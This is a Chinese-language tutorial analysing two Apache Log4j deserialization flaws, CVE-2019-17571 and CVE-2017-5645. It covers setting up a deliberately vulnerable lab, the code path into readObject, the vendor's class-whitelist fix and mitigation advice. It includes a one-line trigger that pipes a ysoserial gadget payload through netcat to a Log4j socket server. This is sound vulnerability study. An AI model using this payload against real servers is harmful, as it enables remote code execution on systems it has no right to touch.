Log4j-Unserialize-Analysis
字数 1029 2025-08-26 22:11:45
Apache Log4j 反序列化漏洞分析教学文档
0x01 漏洞概述
本教学文档详细分析两个Apache Log4j反序列化漏洞:CVE-2019-17571和CVE-2017-5645。
影响版本:
- CVE-2019-17571: 1.2.4 <= Apache Log4j <= 1.2.17
- CVE-2017-5645: Apache Log4j 2.8.1及以下版本
0x02 CVE-2019-17571漏洞分析
漏洞环境搭建
方法一:使用SocketServer
# 启动SocketServer服务
java -cp /path/to/log4j-1.2.17.jar org.apache.log4j.net.SocketServer 8888 /path/to/log4j.properties
# 触发漏洞
java -jar ysoserial.jar Jdk7u21 "command" | nc 127.0.0.1 8888
方法二:使用Maven项目
<!-- pom.xml -->
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
Java代码启动服务:
import org.apache.log4j.net.SimpleSocketServer;
public class Log4jdemo {
public static void main(String[] args){
String[] arguments = {"12345", "src/log4j.xml"};
SimpleSocketServer.main(arguments);
}
}
漏洞触发流程
- 服务端启动SocketServer监听指定端口
- 客户端通过Socket发送恶意序列化数据
- 服务端
serverSocket.accept()接收请求并创建线程 - 线程处理
SocketNode类实例 SocketNode.run()方法中直接反序列化输入流
关键代码路径:
Thread.start()
→ SocketNode.run()
→ ObjectInputStream.readObject()
0x03 CVE-2017-5645漏洞分析
漏洞环境搭建
Maven依赖:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
Java代码启动服务:
import java.io.IOException;
import java.io.ObjectInputStream;
import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge;
import org.apache.logging.log4j.core.net.server.TcpSocketServer;
public class Log4jDemo2 {
public static void main(String[] args) {
TcpSocketServer<ObjectInputStream> Log4jServer = null;
try {
Log4jServer = new TcpSocketServer(12345,
new ObjectInputStreamLogEventBridge());
} catch (IOException e) {
e.printStackTrace();
}
Log4jServer.run();
}
}
漏洞触发流程
- 创建
TcpSocketServer实例,传入端口和ObjectInputStreamLogEventBridge - 调用
TcpSocketServer.run()启动服务 - 客户端发送恶意序列化数据
- 服务端
serverSocket.accept()接收请求 - 创建
SocketHandler处理连接 ObjectInputStreamLogEventBridge.logEvents()方法中反序列化数据
关键代码路径:
TcpSocketServer.run()
→ SocketHandler处理连接
→ ObjectInputStreamLogEventBridge.wrapStream()
→ new ObjectInputStream()
→ ObjectInputStreamLogEventBridge.logEvents()
→ ObjectInputStream.readObject()
0x04 漏洞修复方案
CVE-2017-5645修复方案
在org.apache.logging.log4j.core.util.FilteredObjectInputStream.resolveClass方法中添加类名检查:
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
// 检查类名是否以org.apache.logging.log4j.开头
if (!desc.getName().startsWith("org.apache.logging.log4j.")) {
throw new InvalidObjectException("Unauthorized deserialization attempt");
}
return super.resolveClass(desc);
}
通用修复建议
- 升级到最新安全版本
- 避免使用不安全的反序列化操作
- 实施输入验证和过滤
- 使用白名单机制限制可反序列化的类
0x05 漏洞利用限制
- 需要启用SocketServer功能
- 需要网络可达
- 依赖特定JDK版本和gadget链
- 内网环境利用可能性较高
0x06 总结
这两个漏洞展示了Log4j在不同版本中存在的反序列化安全问题。虽然利用条件有一定限制,但在特定环境下仍可能造成严重危害。开发者应关注组件安全更新,及时修补已知漏洞。